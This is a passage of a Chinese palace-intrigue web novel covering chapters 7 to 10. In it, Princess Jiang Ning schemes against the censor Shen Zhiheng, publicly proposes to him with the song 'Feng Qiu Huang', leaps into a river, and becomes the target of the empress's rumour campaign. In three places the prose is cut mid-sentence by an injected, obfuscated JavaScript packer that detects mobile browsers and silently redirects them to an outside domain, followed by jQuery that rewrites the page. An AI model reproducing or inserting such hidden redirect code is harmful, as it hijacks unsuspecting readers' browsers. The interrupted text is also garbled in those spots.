姜宁木然侧身，颔首道：“好。” 深吸一口弥漫着苦涩药味的空气，她步入了庆元殿。 殿内，姜厚钦闻声，从奏折间抬头，见是姜宁，眼底浮现慈色，声音温和：“宁儿来了。御膳房做了你平日喜爱的桂花酥，走时一同带回公主府吧。” “儿臣给父皇请安。”姜宁俯身行礼，声音带着不易察觉的颤意，身体也抑制不住地微微发抖，“父皇今日，可还安好？” “朕尚好。起来吧，坐下说话。” 姜厚钦见她行过大礼后仍僵立不动，放下手中的折子，目光更添探寻与柔和，“宁儿，怎么了？” 姜宁抬眸，撞见父皇那双溢满关切的眼。她心口剧缩，几乎是狼狈地避开了对视，猛地屈膝跪倒：“儿臣想去探望裴落姐姐，求父皇恩准。” 姜厚钦嘴角那点笑意倏然凝住，旋即化为一声极轻的叹息：“你都知道了。” “是。”姜宁没有否认，埋首回应。 庆元殿内，死寂无声。只有窗外微弱的光线，在地面投下长长的影子。 良久，姜厚钦的声音忽而响起：“你可怨朕？” “儿臣不怨，”姜宁深深叩首，额头触及冰冷的砖面，声音闷在砖石间传来，“儿臣只恨，天道无常。” 姜厚钦的目光落在面前茶盏上，指尖抬起似欲碰触，却又缓缓放下。“上元节后再去吧。”他语声一顿，又低声叮嘱，“淑妃近日身子违和，你去时务必隐秘些。” 淑妃……姜宁只觉耳中如针刺般锐痛，指甲狠狠掐进掌心，方能堪堪稳住声线：“儿臣遵命。” 她动作僵硬地起身告退，眼角的余光，却不由自主地扫过御案上那碟色泽澄黄的桂花酥。 所有幼时贪恋的香甜滋味，此刻都仿佛都蒙上了灰。 姜宁没有带走它，正如她终究未能问出口——父皇，您是否早已知晓十四年前皇弟夭折真相？ 迈出庆元殿沉重的门槛，姜宁忽觉扑面而来的日光有些刺目。 李鸿顺见她面色苍白，上前一步，忧心问道：“殿下可是凤体不适？可要宣太医？” “不必。”姜宁冷冷道。 她挥退宫人，独自在这如巨大牢笼般的宫苑里走着。朱红的宫墙在她眼中逐渐晕染成血色。 她漫无目的，步履虚浮，周遭向她行礼的宫人如幻影掠过。这幼时长大的地方，从未像此刻一般让她遍体生寒。 阵阵晕眩伴着恶心狠狠袭来，五脏六腑似被人无情搅动着。眼前景物陡然旋转倾倒， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138558|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她下意识往前一扑，慌乱中抓住了什么东西，才勉强稳住身形，不禁剧烈干呕起来。 好一会儿，那翻江倒海的难受才稍稍平息。她阖着眼，急促地喘息，额发已濡湿贴在鬓边。 “殿下还好么？”熟悉的声音在耳畔响起。 姜宁猛然睁眼。抬眸间，她才发觉自己竟走到了宫廷西苑深处的都察院。 日薄西山，散值的官员三三两两正经过，皆停下脚步，目光复杂地投向这里。 而此刻，她紧攥着的，正是沈之衡左臂的绯色官袍。 姜宁有些尴尬地松开了官袍，退开半步，面上掠过一丝狼狈，但仍是强装镇定道：“本宫失仪。身子稍有不适，冲撞了沈大人。” “殿下不必介怀。”沈之衡面色不变，垂眸将袖口被揪扯出的褶皱一丝不苟地抚平，指节修长，动作不疾不徐。 姜宁抬头望了一眼昏沉天色，忽然问道：“大人可是要出宫？” 沈之衡微一躬身：“正是，殿下。” 姜宁眼波轻闪，声音刻意放得清亮些许，“能否劳烦沈大人，带本宫一道出去？” 沈之衡眉梢几不可察地扬了一下，那点讶异一闪即逝。 姜宁抿唇，似有几分难以启齿地低声道：“本宫少时离京，如今对这宫中的路径，有些生疏了。” 沈之衡看着她，眸色幽深如潭，声音极淡，“好”。 静默一瞬，他唇角极细微地向上牵起一个几乎无法被捕捉的弧度。 二人踏着残阳的影子而行。姜宁步伐缓慢，沈之衡亦默契地放慢了脚步。一深一浅的影子被残阳拉长。 一路无言，耳边只有鞋履踏过地砖的轻响。 宫城门外华灯初上时，惜桃见到姜宁与沈之衡并排而来，焦灼地快步上前行礼：“殿下，沈大人。” 沈之衡目光落在惜桃身上，唇角勾起一抹难以捉摸的似笑非笑，声音轻缓似无意提起：“微臣似乎，从未见过殿下身侧的这位侍女？” 姜宁与惜桃俱是一怔。 好在惜桃反应极快，随即垂眸，声线平稳地回道：“回大人话，京中各处书画铺子常有售卖大人的画册。奴婢是自画中识得大人。” “原是如此。”沈之衡眸色深深看了惜桃一眼，不再追问，只对姜宁一揖，“殿下若无其他吩咐，微臣便告退了。” “沈大人留步。”姜宁唤住他，面上已恢复一派清贵从容。她含笑邀约，“今日多有劳烦，不妨本宫在天香楼设下薄宴，请沈大人赏光？” “殿下盛情，微臣心领。”沈之衡浅笑欠身，拒绝得滴水不漏，“奈何家中有一孽犬，被微臣娇纵过了头，每日定要按时投喂，片刻离不得人。” 他语锋微妙地一转，“殿下若诚心致谢，不妨早日归还微臣丢失之物，便是最好不过了。” 言罢，他不再逗留，转身径直汇入街市华灯初上的人流之中，身影很快被夜色吞没。 看着那人影消失，姜宁才侧首对惜桃展颜一笑，带着一丝疲惫的如释重负：“拖了他许久。苏七和苏九那边应是得手了吧？” “所以殿下是有意为之？”惜桃恍然，语气轻快起来。 姜宁颔首，长睫轻轻垂下。 在都察院门前撞见沈之衡确是猝不及防，但随后请他带路出宫，便已是她心头一计。 回到公主府，府中已被新来的侍从打扫一新，井井有条。 红叶正指挥侍女将晚膳一道道自小厨房捧至厅内。 恰在此时，苏七搀扶着苏九步履蹒跚地挪了进来。 未等姜宁开口问询，苏九已抢先哀嚎出声，控诉道：“殿下，沈之衡府中那恶犬，简直凶残成精了！” 区区一只狗，至于如此狼狈？ 姜宁秀眉微蹙，疑虑刚起。 紧随其后，苏七面色平静无波地补上了关键一句，声如沉水：“随后，惊动了大理寺的人。” 8. 第八章 公主邀约 沈之衡回到府中时，大理寺的一队人正在门外肃立。见他归来，其中一人快步上前，抱拳道：“大人，少卿已在府中等候多时。” 沈之衡微微颔首：“好，我知道了。” 刚踏过门槛，一只黄犬便狂吠着冲来，摇着尾巴，热情地绕着他转圈。沈之衡俯身半蹲，手刚伸出，那黄犬便止住了吠声，乖顺地将脑袋顶进他的掌心蹭了蹭。 向恒声正负手立于院中，瞧着这温馨一幕，朗声笑道：“可算是回来了。再不回来，我的耳朵都要被洛松的吠声震聋了。” 沈之衡抬眼望去，眉宇间掠过一丝笑意，起身道：“出宫时遇到承嘉公主，被绊住了。” “哈哈哈，”向恒声大笑，随即话锋一转，带着几分调侃，“说起来，这位公主心思还真是活络。那边缠住你，这边就敢派人来你府上‘光顾’了。” “哦？”沈之衡眉峰微挑，流露出些许意外。 他径直走向正厅，案几上酒菜茶点已备。他撩袍落座，执壶为自己斟了杯清茶。洛松则跟他身后，随后安静地伏卧在他脚边。 向恒声跟着坐下，自斟了一杯酒仰头饮尽，解释道：“方才洛松在你书房外叫得不同寻常，门外大理寺的弟兄觉察到不对，冲进去时正撞见两个男人翻窗逃走。据他们报，看那身形架势，似在公主府见过。对了，公主身边那俩侍卫叫什么来着……？”他皱起眉，一时卡住。 沈之衡啜了口茶，提醒道：“苏七和苏九。” “对对！就是这俩！”向恒声连连点头，脸上笑意更浓，“要我说，你和公主倒是真有意思，她扣你证物，你拿她宝物。莫不若你干脆去公主府上当个驸马爷，让她直接还你证物得了。省得这一天天的，你俩在这偷来偷去，白费我这大理寺的人力。” 沈之衡瞥了他一眼，淡淡吐出两个字：“聒噪。” “哈哈哈！”向恒声被他这反应逗得更乐。 “东西没丢吧？”沈之衡问道。 “没，多亏洛松机灵。”向恒声说着，用筷子夹起一块排骨，弯身喂给洛松，“是吧，洛松。” “汪汪！”洛松欢快地叼过排骨，尾巴扫得呼呼作响。 “嗯。”沈之衡应了一声，这才拿起碗筷。 向恒声撕咬下一块牛肉，含糊不清地问：“对了，你当时夜探公主府，怎么就挑中了这两样东西？” 沈之衡目光沉静：“《百草经》虽是医书，但置于书案显眼处，翻阅痕迹颇多，书页间还夹杂着公主的亲笔批注，当是心头所爱。《千里江山图》乃赵孟恺先生的绝笔，价值连城，养护亦是极其用心。”他顿了顿，眼神似乎望向悠远的过往，“况且，我与赵孟恺先生，尚有一面之缘。” “原来如此。”向恒声了然。 沈之衡垂眸，指尖摩挲着杯沿问说道，“我原想着取走这两样，或可与公主作个交换。如今她选择派人来偷，看来是铁了心要保苏家，证物是不会轻易还了。” 闻言，向恒声叹了口气，语气带着几分遗憾：“那日若是我先找到你……” “良安，”沈之衡截断他的话，声音平稳宽慰，“世事难料，无需介怀。总会有办法的。” 向恒声忽而想到昨夜的惊险，神色转为严肃：“你一回来，那些人就如坐针毡。昨日的刺杀，绝非终点。大理寺虽尽力，亦难保万全，你自己务必当心。” 沈之衡颔首，随后目光望向院外。 月色下，稀疏的竹影随风婆娑。 他眼底闪过不易察觉的锐色，沉吟道：“只待年后，我们也该动手了。” —————— 自苏七、苏九夜探沈府无功而返后，姜宁便放弃了取回《千里江山图》和《百草径》的念头，转而潜心钻研从沈之衡那里扣下的账册证物。 幸得苏长英在吏部任职，将账册上涉案官员的根底，尽数告知。姜宁闭门府中半月有余，已将那二十余名官员的出身背景、仕途轨迹一一梳理。 梳理间，一个端倪渐渐浮出水面。账册上这些官员的脉络，竟与汪家一系毫无牵涉。但正是这过于干净、撇得彻彻底底的关系，才显出几分刻意与反常。尤其是其中十位官员的履历，不约而同地指向同一个核心——户部。 户部？ 线索至此，仿佛走入一团迷雾，任凭姜宁和苏家如何推敲，也难以再窥破更深层的关联。 姜宁仍是按例，每日入宫向父皇请安。裴洛之事，父女二人心照不宣地不再提起。但是姜宁深知，那道隔阂的已然横亘在御座与公主府之间。 请安路上，她虽刻意避着汪皇后，偶尔却在庆元殿遇见太子姜齐。当着皇帝的面，兄妹二人维持着恰到好处的谦和与疏离，维系着御前那点单薄的“兄友弟恭”。 即便是除夕宫宴，她也只是碍于父皇在上，平静地与后宫妃嫔、太子等人分食着象征团圆的珍馐。 席间流转的丝竹管弦，透不进心底半分。 转眼便到了正月初五。 这日，公主府内，姜宁又如同往常那样，坐回书案旁，指尖划过那些写了又写的名字，蹙眉思索着破局之法。每每此刻，总忍不住心中轻叹：这证物若在沈之衡手中，或许能够更快勘破其中玄机吧？ 可他，必然不会保下苏家。 侍立一旁的惜桃见自家殿下整日眉头深锁，心下忧虑。她轻手轻脚地奉上一盏温热的牛乳茶，觑着姜宁神色，试探道：“殿下，今日是‘破五’，街市上可热闹了。要不咱们出去散散心？” 姜宁头也未抬，声音淡得似一缕烟：“我不去。你唤上红叶她们，自去逛逛吧。” 惜桃不肯放弃，又近前一步，语调也带了点活泼的期冀，“听闻今夜永安坊有壮观的打铁花。沉月河畔，百姓放河灯祈福，寄托对故亲的哀思。在浮月桥头，还有相携的有情人放孔明灯祈愿今生长久。殿下真不想去看看这般人间烟火气吗？” 姜宁依旧静默，只微微摇了摇头。 “好吧。”惜桃只得失望地应下，正要福身告退。 姜宁的指尖却在此时一顿，抬眸道：“你方才说，有情人在何处放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138559|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灯？” “浮月桥！在浮月桥！”惜桃精神一振，连忙重重应声。 一丝极浅的笑意倏然浮上姜宁嘴角：“我写封帖子，你让苏九……”话到嘴边，忽想起苏九之前被沈府那烈犬咬伤大腿之事，话锋顿转，“让苏七送去给沈之衡。” 惜桃虽不明就里，但见公主展颜，也欢喜起来：“喏！” 不多时，姜宁挥笔写就一方短笺。惜桃双手捧过那墨迹犹新的请柬，犹疑着追问：“殿下，那我们今夜出府么？” 姜宁莞尔，指尖轻轻一点惜桃小巧的鼻尖：“自然要出，而且……”她眸光微亮，带着一丝不易察觉的促狭，“要盛装。” “太好了！我这就去寻苏七！”惜桃喜形于色，转身便轻快地跑了出去。 —————— 另一边，沈府书房，一派静谧。沈之衡正凝神翻阅着都察院积年的公文卷牍，洛松安静地伏在他脚边。 忽地，洛松竖起了耳朵，喉间发出低低的呜咽，随即站起身，冲着紧闭的房门警觉地吠叫起来。叫声未落，门便应声被人推开。 沈之衡抬眼望去，来人正是向恒声。 “向少卿今日怎么得空过来？”沈之衡的目光转回手中的卷宗，语气温和平常。 向恒声踏步入内，毫不客气地白了他一眼：“今日‘破五’，百姓多在永安坊、沉月河畔聚集欢庆。你莫不是忘了，我大理寺也得协理兵马司上街巡视？” “哦。”沈之衡眼皮也未抬，指尖捻过公文一角，轻哼一声，显得浑不在意。 向恒声自顾拂袍落座，执起案上温着的茶壶，徐徐斟满一杯茶盏。饮罢，他抬眼看向沈之衡，唇角勾起一丝玩味：“我路过你府上，想着来瞧瞧你。你猜，恰好在门口遇见了谁？” “不知。”沈之衡手上未停，又翻开另一卷公文。 “公主府那个苏七。”向恒声吐出这个名字时，笑容里带着显而易见的揶揄。 “哦？”沈之衡捻着页角的手指一顿，终于抬眼看向对方，将那卷公文搁置一旁。 见他有了反应，向恒声这才悠悠起身，自袖中摸出一方请柬递过去：“喏，苏七送来的。给你的。” 沈之衡眉峰几不可察地一蹙，伸手接过。 趁他展开请柬垂眸细看的间隙，向恒声探身过去，目光快速扫过那几行小字，蓦地朗声笑起来：“啧啧，戌时，浮月桥头？那可是今日京城里才子佳人最爱相约之地。公主殿下莫不是……”他拖长了尾音，“真对你有意了不成？” 沈之衡面沉如水，不疾不徐地合上请柬，语气极淡：“想多了。” 话音落下的同时，他已然起身，抬步便往外走。 向恒声见状，立刻扬声喊道：“怀野，离戌时可还早着呐，你不会这就赶着赴约去吧？” 沈之衡的身影已穿过书房门扉，清冷的嗓音隔着庭院遥遥传来：“不过更衣罢了。” “汪！汪！”洛松闻声跃起，欢快地摇着尾巴冲出书房，紧跟着沈之衡的脚步，消失在回廊尽头。 9. 第九章 何至于此 正月初五，京城的“破五”之庆，夜间的街巷喧嚣鼎沸，人潮涌动。 依照原定部署，本该由向恒声率大理寺官差巡视永安坊。但为不错过今夜浮月桥畔公主相邀的好戏，他特意寻了兵马司指挥使，一番周旋，将两处巡视区域调换。今夜，沉月河畔的治安，落到了大理寺肩上。 戌时未至，沈之衡与向恒声二人已抵达浮月桥。 出乎他们意料的是，姜宁一行早已等候在此。此刻，姜宁正端坐于浮月桥旁的一座精致亭台之内，与沈之衡、向恒声隔河相望。 浮月桥周遭，早已聚满了成双成对的年轻男女。桥下，沉月河波光粼粼，水面上漂浮着数不清的河灯。桥上，无数孔明灯冉冉升起，化作漫天繁星，与地上的灯火交相辉映。 随着姜宁的指尖拨动琴弦，一曲《高山流水》如清泉流淌，淙淙铮铮，穿透了河畔的喧嚣，与这灯火璀璨的盛景，相得益彰。 此曲刚起，便隐约可听到桥上行人的窃窃私语： “桥边亭台里抚琴的是哪家千金，生得如此绝色。”路人甲忍不住低声赞叹。 “嘘！小声些！听说是承嘉公主殿下。”路人乙连忙压低声音回应。 “承嘉公主？那不就是前些日子才回京，传闻在长安城颇为奢靡的那位？”路人甲语气中带着几分迟疑与好奇。 “妄议天家贵胄，项上人头是不想要了么？”一个带着冷意的声音突然从甲、乙身后响起——正是悄然凑近的向恒声。 那两人惊骇回头，见是身着大理寺官服之人，吓得面色惨白，连连作揖告饶：“大人恕罪！小的们口无遮拦，再也不敢了！” “不敢？”向恒声冷哼一声，朝身后随行的差役使了个眼色。差役会意，上前将二人带离了人群。 沈之衡对此恍若未闻，面色沉静，目光始终落在对岸亭台。他独自穿过桥上熙攘的人流，径直朝那亭台走去。 亭台入口处，侍立的苏七与苏九见沈之衡前来，二人躬身抱拳道：“沈大人，殿下已恭候多时。” 沈之衡微微颔首，步入亭台。恰在此时，姜宁指尖最后一个音悠然收束，一曲终了。 侍立一旁的惜桃立刻上前，为沈之衡奉上一盏新沏的热茶，随即识趣地福身告退。沈之衡目光微垂，略一点头，算是谢过。 待他拂袍在姜宁对面的石凳上落座，姜宁才缓缓抬眸，嘴边笑意清浅：“沈大人，来了。” “不知公主殿下相邀，所为何事？”沈之衡没有迂回客套，开门见山。 姜宁嘴角的笑意深了些许，却并未直接回答，反而问道：“沈大人可通音律？会吹箫么？” 沈之衡眉峰几不可察地一蹙。他不明姜宁此问用意，但仍如实答道：“略通一二。” 姜宁眼睫轻抬，眸光平静如水：“那便请沈大人，与本宫合奏一曲吧。” “何曲？”沈之衡沉声问道。 “《凤求凰》” 话音刚落，沈之衡置于膝上的指尖几不可察地微微一颤。他抬眸，目光沉沉地看向姜宁。此刻的姜宁，依旧维持着那副浅淡的笑意，姿态闲适，恰似那日在宣政殿外，她看似漫不经心投来的打量目光。 此曲背后的故事，沈之衡并非不知。 《凤求凰》虽是千古名曲，但在大凌朝，此曲的琴箫合奏，则以当今圣上姜厚钦与已故的明昭皇后苏灵均最为人称道，堪称绝响。 当年七子夺嫡，风云诡谲。时任内阁首辅苏崇的长女苏灵均正值婚龄，未娶正妃的皇子们无不趋之若鹜。后来，在太后亲自主持的赏花宴上，时为三皇子的姜厚钦以一曲《凤求凰》琴音诉情，终得佳人芳心。 大婚之日，帝后二人琴箫相和，一曲《凤求凰》缠绵悱恻，情深意长，连带着这段往事，成为流传京华数十载的佳话。 此事，身为帝女的姜宁，心知肚明。她以此曲相邀，其中深意，已是不言自明。 沈之衡只是凝望着姜宁，沉默不语。而姜宁亦回望着他，唇边笑意未减，并未出言催促。 亭台内一时寂静，唯有亭外河畔的喧嚣隐隐传来。 良久，沈之衡才轻声开口：“为何是微臣？”那素来清冷的嗓音里，带了一丝难以察觉的微颤 姜宁的笑意更深，眸光流转，语气带着几分理所当然的坦然：“沈大人出身清白，状元之才，品行在朝野有口皆碑，样貌亦是京中翘楚。京城倾慕沈大人的官家闺秀甚多，”她顿了顿，目光在他脸上轻轻掠过，“若本宫欲择驸马，为何不能是沈大人？” 这番话，她说得恳切真挚，仿佛字字发自肺腑。然而，沈之衡并未相信。但他也一时难以勘破这位公主殿下的葫芦里究竟卖的什么药。 “此曲……请恕微臣，不能应命。” 听闻此言，姜宁面上并无半分愠色，反而笑意盈盈。她不再多言，指尖轻拨，一曲《凤求凰》的琴音自她指下流淌而出，瞬间盖过了河畔的嘈杂，清晰地传遍沉月河两岸。 当朝承嘉公主，于浮月桥畔，为一俊朗郎君独奏《凤求凰》。此情此景，不免让众人想到当年圣上在赏花宴上以琴音求娶明昭皇后的旧闻。 沉月河畔、浮月桥上，无数百姓纷纷驻足，惊诧的目光齐刷刷投向那座亭台，人人心中都揣着同一个好奇：亭中那位俊朗的郎君，面对公主如此直白炽热的“凤求凰”，究竟会作何回应？ 就连在河对岸一直遥遥观望的向恒声，此刻也惊得张大了嘴，半晌才喃喃自语道：“怀野莫不是真要尚主，当上驸马了？” 姜宁指尖流淌出的音符，技巧娴熟，余韵悠长，须臾间便能听出抚琴者天赋卓绝、名师相授的底蕴。 《凤求凰》本是曲诉衷肠，倾慕缠绵，可在姜宁手中，沈之衡却听不到半分情意，只余戏谑与撩拨。那熟悉的挑逗之意，让他不禁想起那日在庆元殿外——她在他耳畔低声戏谑：“本宫丢了个男宠，沈大人若知晓，可得给本宫送来。” 一念及此，一股复杂情绪猝不及防地绞住他的心头。是被当作玩物戏耍的羞愤与怒火，又夹杂着一丝隐约的不甘。 不甘……？ 沈之衡眉宇骤然蹙得更紧，一时难以堪破这陌生的躁动。 一曲终了，四下寂然，唯余桥上与河畔的喧嚣作衬。 半晌，姜宁抬眸望向漫天明灯，倏然开口：“若将东西交予沈大人，大人能否保下苏家？” “不能。”沈之衡没有犹豫。“苏家贪墨四十万两之多，云阳百姓的血泪，需要一个交代。” 姜宁唇边逸出一声冷笑，反诘道：“那户部呢？” 沈之衡指尖几不可察地一颤，目光沉沉地回望她，缄口不言。 无声已是答案。姜宁心下了然，沈之衡必然是知晓户部内情的。 “沈大人信也罢，不信也罢，”她正色道，“苏家之事，另有隐情。” “纵有千般不得已，”沈之衡声音更冷，“也不该染指关乎民生的国帑！” 姜宁扶着冰冷的石桌缓缓起身，眸中深不见底，“工部苏成，浙江林家。此中牵连，沈大人自可去详查。”稍顿，她唇边蓦地绽开一抹说不清、道不明的笑意，“本宫倒是好奇，若他日需在黎民苍生与心头所重间择其一，沈大人会如何取舍？” 沈之衡目光骤沉，依旧不答。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138560|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>姜宁踱步至他身侧，指尖带着不容置疑的力道抬起他的下颌，笑意张扬，言语带着戏谑道：“名声、权势、金银……凡是沈大人想要的，我姜宁皆可拱手奉上。” 她朱唇轻启，“如今，本宫尚且缺一位驸马。不知沈大人，意下如何？” 沈之衡迎上她的视线，眸中是拒人千里的傲然冷意：“殿下乃金枝玉叶，当栖梧桐。微臣卑若蝼蚁，只合在泥淖中曳尾求生。还请殿下——另择佳偶。” 姜宁挑眉道：“若本宫偏要强求呢？” 语声刚落，她右手腕骤然一紧。沈之衡已倏然握住她的手腕，顺势起身，向后退开半步，深深一揖。那动作干净利落，带着隔绝的距离。 他声音冷冽道：“微臣毕生所求，从来不是功名富禄，臣唯愿山河清晏。殿下强求姻缘，何异于折鹤羽而充笼雀？” “好一个清流风骨。”姜宁莞尔一笑，不疾不徐地解开肩上的大氅，任由那大氅落地。随后行至亭台边缘，临栏而立。 沈之衡不动声色，揣测着她下一步动作，却见姜宁倏然侧首，朗声将话语抛掷而出：“若沈大人执意不做这驸马。那姜宁活着，还有何意趣？” 沈之衡瞳孔骤缩，心脏仿佛被无形之手攥紧。他来不及思索，身体已先于意识做出反应，快步上前，伸手欲抓，但指尖所触，只捞到一片冰冷的空气。 姜宁已然纵身跃入沉月河，荡起河面涟漪。 整个场面顿时陷入死寂般的凝固。 沈之衡目眦欲裂，下一瞬间，毫不犹豫地随之跳入河中。几乎同时，苏七、苏九两道身影也已跳入河中，直冲姜宁落水之处。 对岸一直观望亭台的向恒声见此，惊得魂飞天外——苍天！这都谈了什么啊？！他随即吼道：“你们都愣着作甚？！快救公主！” 吼声震醒了呆立的大理寺官差，一时间，身着大理寺官服的数道身影接连跃入沉月河中，扑通声不绝于耳。 变故只在须臾，旁观的百姓尚不及反应，便被这连串的惊变彻底震住。 很快，沈之衡和姜宁分别被苏七、苏九救上岸边。 沈之衡呛咳着水，惊魂未定地抬眼望去。姜宁已被飞奔而来的惜桃紧紧搂在怀中，身子颤抖，嘴唇发紫，水珠不断从她湿漉的发梢滑落，落在她紧闭的眼睑上。 “殿下……可还好？”沈之衡声音嘶哑微颤。 惜桃猛地回望，眼中是毫不掩饰的痛惜：“奴婢不知大人究竟说了什么，竟逼得殿下走上绝路。殿下若有不测，大人便自行向圣上请罪吧！”她转头对着苏七和苏九急道：“速回公主府！” 此言一出，三人匆匆护着意识模糊的姜宁消失在夜色中。沈之衡仍如失了魂般僵卧于冰冷坚硬的地面，刺骨的冷侵入骨髓，他浑身难受得厉害。 方才姜宁决绝跃下的剪影，一遍遍在他眼前回放。 何至于此？她何至于此？ 沈之衡心头一片寒凉与茫然，全然不明白这位素日闲适散漫的承嘉公主，方才为何如此决绝。 未几，向恒声带着大理寺的人快步赶到。他费力地将沈之衡扶起，声音里是压不住的惊怒与后怕：“你又不会水！跟着跳是不要命了？更别说你身上那毒，最忌寒凉！你……” 正说着，怀中的沈之衡双眼一阖，彻底失去了意识。 向恒声只觉得头痛欲裂，胸中浊气翻腾。 当朝公主盛装邀约都察院重臣，一曲《凤求凰》示爱本就石破天惊，这转眼又当众跳河。众目睽睽，众口一词。这消息若传入圣上耳中…… 向恒声连喘气都开始生疼，他简直不敢想象这烂摊子该如何收场。 10. 第十章 流言缠身（一） 次日，正月初六。 依大凌律例，自除夕起百官可休沐七日，无需早朝。但皇帝姜厚钦勤勉为政，自登基之日起便定下规矩，年节之中逢双日，文武重臣仍需入宫议政。 早朝上，首辅苏崇奏报了来年各部预算及内阁初步批议后。姜厚钦习惯性地看向左都副御史的位置，问道：“沈卿以为呢？” 群臣目光随之望去，才发现那个位置竟是空的。姜厚钦此时才注意到沈之衡缺席，又问道：“今日沈御史为何没来？可有爱卿知晓？” 站在班列中的向恒声心口一紧，向右踏出两步，躬身小心答道：“回陛下，沈大人昨夜与微臣在城中赏灯，不慎失足落水，感染了风寒。眼下仍在昏迷，未能上朝，还请陛下恕罪。” “哦？可请太医看过？”姜厚钦言语间流露出明显的关切。 “昨夜事发突然，时辰已晚，未敢打扰宫门。”向恒声垂首更低。 姜厚钦沉吟片刻，转向李鸿顺吩咐道：“散朝后，你去安排刘太医走一趟沈府，瞧瞧沈卿。” “诺。”李鸿顺躬身领命。 向恒声强自镇定地起身退回原位，只觉额角渗出细密冷汗，后背衣衫也已被浸湿。 他唯恐皇帝紧接着追问落水详情，那沸沸扬扬的内情，他实在不知该如何作答。 散朝后，姜厚钦如往常般回到庆元殿处理政务。时光流转，不觉已是黄昏。他见姜宁迟迟未来请安，搁下朱笔，对殿外问道：“李鸿顺，姜宁还没来？” 李鸿顺趋步入内，恭敬回禀：“回陛下，尚未见殿下。” 姜厚钦眉头微蹙，“派人去公主府问问，可是出了什么事？”他指尖轻叩御案，又低声自语，“陈泽也不来通禀一声，莫非真当自己是公主府的人了？” “老奴这就差人去问。”李鸿顺应道，正要转身退下，却见陈泽步履匆匆已行至殿门外。他立即回身请示：“陛下，陈泽校尉到了，在外面候旨。” “宣他进来。” 话音刚落，陈泽便大步迈入殿中，行礼道：“陛下，公主殿下今日身子不适，特命臣前来告假，今日无法入宫给陛下请安了。” 联想到沈之衡同样因此缺席早朝，姜厚钦心中疑窦顿生：“公主的身子怎么了？” 陈泽抬头，脸色为难，欲言又止，最终深吸一口气，果断跪地禀报：“臣不敢欺瞒圣上。回陛下，昨夜殿下在浮月桥畔不慎落水，回府后便发起了高烧，至今卧床难起。” “又是落水？呵，真是巧得很！”姜厚钦冷哼一声，面沉如水，转向李鸿顺命令道，“李鸿顺，你现在就亲自出宫，给朕查清楚，究竟是怎么回事！” “老奴遵旨。”李鸿顺躬身领命，迅速退出庆元殿，快步穿过宫门离宫而去。 ———— 坤宁宫内，皇后汪荣手持花剪，慢条斯理地修剪着案头一盆兰花。旁边一位老嬷嬷正低声为她念着父亲汪远的来信。 念罢，汪荣接过信笺，又逐字细看了一遍。眉宇间俱是疑惑，低语沉吟：“本宫是越发看不懂了这姜宁回京后的行止了。当年见她眉眼越长越像先皇后，越发勾起圣上那份愧疚心，本宫担心圣上会深究旧事，才寻了法子将她逼离京城。若早知今日是这等情形，倒不如让她留在京城，放在本宫眼皮底下看着才好。” 那位侍立的老嬷嬷低声回道：“皇后娘娘，依老奴浅见，姜宁此番跳河的疯劲儿，和当年她怒砸您寝宫时的情形何其相似。只怕是这跋扈乖张的性子，未曾改过分毫。” “若真是秉性难移，倒也容易应付。”汪荣放下花剪，指尖捻了捻花枝，“就怕是醉翁之意不在酒。” 她踱步至窗边案几前坐下，食指无意识地轻叩着桌面，脑中仔细梳理着姜宁回京后的种种——先是索要了先皇后别院改作公主府，接着探望了苏家，再然后是与沈之衡有所往来，最后闹出昨夜浮月桥那场沸沸扬扬的求爱跳河。 堂堂皇室公主，天潢贵胄，竟当着全京城百姓的面，独奏《凤求凰》向一个都察院御史求爱，遭拒后竟羞愤到当众跳河寻死？ 汪荣眉头紧锁，实在揣摩不透姜宁葫芦里卖的是什么药。难道真就对那沈之衡情根深种到了如此地步？还是另有一番深意？ 她抬眸问道：“此事，圣上那边可已知晓？” 嬷嬷忙回道：“庆元殿那边递话过来，说是公主府的人面见了圣上之后，李公公便匆匆出宫了。想是奉了圣上旨意去查问。” 汪荣嘴角微微一弯，掠过一丝冷然的笑意：“你即刻去给汪家递话，着他们在京中布置些流言蜚语，就说承嘉公主对朝中重臣痴心一片，被拒后万念俱灰，意欲以死相逼，胁迫对方娶她。务必让这话，尽快传入圣上的耳中。” 嬷嬷心领神会：“娘娘放心，老奴明白其中轻重，这就去安排。” —————— 沈府内，向恒声焦躁不安地在房中来回踱步，洛松亦伏卧守在沈之衡床榻前。 刘太医仔细诊过脉后，提笔开了方子。 向恒声立刻让大理寺差役去抓药煎煮。看着差役接过药方跑出去，他忽地想到，沈之衡身边也该添几个伺候的人了，不然自己手下这些大理寺官差都快成他沈沈之衡的专用仆役了。 